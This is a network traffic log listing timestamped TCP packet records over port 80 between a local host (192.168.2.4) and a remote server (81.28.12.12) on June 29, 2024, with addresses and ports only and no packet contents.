Jun 29, 2024 08:05:19.473002911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473038912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473108053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473128080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473140001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473166943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473174095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473206997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473227024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473258972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473262072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473293066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473295927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473345995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473377943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473380089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473406076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473409891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473442078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473474026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473474026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473506927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473571062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473582983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473604918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473642111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473655939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473686934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473690987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473723888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473757982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473788977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473790884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473860025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473891973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473926067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.473927021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473958015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.473992109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.474020004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.474024057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.474050999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.474083900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.474117041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.474117041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.474152088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.474184036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.474216938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.474216938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.474250078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.474281073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.475702047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.498447895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498500109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498533964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.498533964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498588085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498620987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498652935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.498691082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498725891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498758078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498780012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.498810053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498842955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498843908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.498872042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498881102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.498905897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498939991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.498972893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.498974085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.499006987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.499036074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.499618053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.505856037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.505989075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506021023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506053925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506074905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506086111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506107092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506125927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506141901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506174088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506175041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506210089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506227970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506227970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506247044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506284952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506314993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506349087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506381989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506390095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506413937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506416082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506449938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506449938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506477118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506501913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506536961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506555080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506555080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506587029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506588936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506622076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506671906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506675005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506705999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506756067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506763935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506791115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506820917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506824017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506854057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506858110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506891966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506921053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.506944895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506978035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.506978989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507009983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507010937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507046938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507080078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507112026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507113934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507164001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507194996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507198095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507232904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507261992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507293940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507312059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507347107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507380009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507380009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507414103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507447004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507468939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507468939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507478952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507509947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507512093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507539988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507545948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507575989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507595062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507647038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507678032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507680893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507716894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507749081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507782936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507813931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507814884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507847071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507848978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507875919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507882118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507915974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.507942915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.507950068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508033037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508044958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508064985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508099079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508126974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508131027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508164883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508196115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508198023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508225918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508232117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508264065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508291006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508316040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508348942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508351088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508384943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508419037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508426905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508450985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508451939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508497000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508501053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508549929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508584023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.508585930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508614063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.508676052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.562694073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.562730074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.562763929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.562798023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.562798977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.562834978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.562890053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.562896967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.562922955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.562957048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.562988997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.562989950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563044071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563076973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563107014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563110113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563143015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563175917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563175917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563210011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563242912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563270092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563297987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563333035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563360929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563393116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563395023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563429117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563462019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563493967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563522100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563527107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563555002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563571930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563606977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563631058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563640118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563672066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563673019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563707113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563738108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563740969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563761950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563775063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.563791990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.563828945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589237928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589272022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589306116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589313030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589329958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589360952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589392900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589394093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589418888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589442968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589477062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589507103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589509964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589540005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589579105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589761972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589795113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589828014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589852095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589852095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589862108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589895964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589896917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589930058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589958906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.589963913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.589998007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.590142965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.595530033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595562935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595597029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595630884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.595633984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595666885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.595685959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595717907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.595721006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595752954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.595755100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595823050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595856905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595856905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.595909119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595942974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595952988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.595977068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.595978022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596004963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596009016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596040010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596043110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596076965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596107006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596111059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596139908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596144915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596177101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596178055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596210957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596242905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596244097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596278906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596313953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596359968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596393108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596422911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596424103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596426964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596461058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596507072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596524954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596576929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596610069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596611023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596669912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596704006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596704960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596730947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596734047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596765995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596769094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596801043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596801043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596833944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596884966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596896887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596919060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596951962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.596981049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.596985102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597065926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597099066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597115993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597151995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597186089 CEST	80	49731	81.28.12.12	192.168.2.4
